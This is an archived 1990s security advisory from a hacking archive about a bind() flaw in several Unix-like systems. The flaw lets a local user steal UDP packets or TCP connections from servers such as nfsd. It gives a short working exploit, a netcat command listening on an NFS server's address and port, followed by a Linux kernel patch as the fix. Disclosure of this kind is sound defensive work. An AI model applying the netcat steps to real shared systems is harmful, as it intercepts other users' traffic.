home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / bindExploit.txt < prev    next >
Text File  |  1998-07-17  |  3KB  |  80 lines

  1.         System Call: bind()
  2.   Affected Operating System: Linux, SunOS, FreeBSD, BSDI, Ultrix
  3.                  Probably others.
  4.         Requirement: account on system.
  5.     Security Compromise: Stealing packets from
  6.                  nfsd, yppasswd, ircd, etc.
  7.             Credits: *Hobbit* <hobbit@avian.org>
  8.                  bitblt <bitblt@infosoc.com>
  9.                  Aleph One <aleph1@underground.org>
  10.             Synopsis: bind() does not properly check
  11.                  to make sure there is not a socket
  12.                  already bound to INADDR_ANY on the same
  13.                  port when binding to a specific address.
  14.  
  15.     On most systems, a combination of setting the SO_REUSEADDR
  16. socket option, and a call to bind() allows any process to bind to
  17. a port to which a previous process has bound width INADDR_ANY. This
  18. allows a user to bind to the specific address of a server bound to
  19. INADDR_ANY on an unprivileged port, and steal its udp packets/tcp
  20. connection.
  21.  
  22. Exploit:
  23.  
  24.     Download and compile netcat from ftp://ftp.avian.org/src/hacks/nc100.tgz
  25. Make sure an nfs server is running:
  26.  
  27. w00p% netstat -a | grep 2049
  28. udp       0      0 *.2049           *.*               LISTEN
  29.  
  30. Run netcat:
  31.  
  32. w00p% nc -v -v -u -s 192.88.209.5 -p 2049
  33. listening on [192.88.209.5] 2049 ...
  34.  
  35. Wait for packets to arrive.
  36.  
  37. Fix:
  38.  
  39.     Linux: A patch was been sent to Linus and Alan Cox. It should be
  40. included with 1.3.60. My original patch (included bellow) allows for
  41. binds from the same uid, as some virtual hosting software like modified
  42. httpds, and ftpds, may break otherwise.
  43.  
  44.     Alan didnt like this, so all bind to the same port will
  45. not be allowed in newer kernels. You should be able to easily adapt
  46. this patch or Alan's patch to 1.2.13 without much trouble.
  47.  
  48.     Others: Pray to your vendors.
  49.  
  50. --- begin patch ---
  51.  
  52.  
  53. diff -u --recursive --new-file linux-1.3.57/net/ipv4/af_inet.c linux/net/ipv4/af_inet.c
  54. --- linux-1.3.57/net/ipv4/af_inet.c    Mon Dec 25 20:03:01 1995
  55. +++ linux/net/ipv4/af_inet.c    Tue Jan 16 19:46:28 1996
  56. @@ -46,6 +46,8 @@
  57.   *        Germano Caronni    :    Assorted small races.
  58.   *        Alan Cox    :    sendmsg/recvmsg basic support.
  59.   *        Alan Cox    :    Only sendmsg/recvmsg now supported.
  60. + *        Aleph One    :    Rogue processes could steal packets
  61. + *                    from processes bound to INADDR_ANY.
  62.   *
  63.   *        This program is free software; you can redistribute it and/or
  64.   *        modify it under the terms of the GNU General Public License
  65. @@ -899,6 +901,12 @@
  66.              
  67.              if (sk2->num != snum) 
  68.                  continue;        /* more than one */
  69. +            if ((sk2->rcv_saddr == 0 || sk->rcv_saddr == 0) &&
  70. +                current->euid != sk2->socket->inode->i_uid)
  71. +            {
  72. +                    sti();
  73. +                    return(-EADDRINUSE);
  74. +            }
  75.              if (sk2->rcv_saddr != sk->rcv_saddr) 
  76.                  continue;    /* socket per slot ! -FB */
  77.              if (!sk2->reuse || sk2->state==TCP_LISTEN) 
  78.  
  79.  
  80.